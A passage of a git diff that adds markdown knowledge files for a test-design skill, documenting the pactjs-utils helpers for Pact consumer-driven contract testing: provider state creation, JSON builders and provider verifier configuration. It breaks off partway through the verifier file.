+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
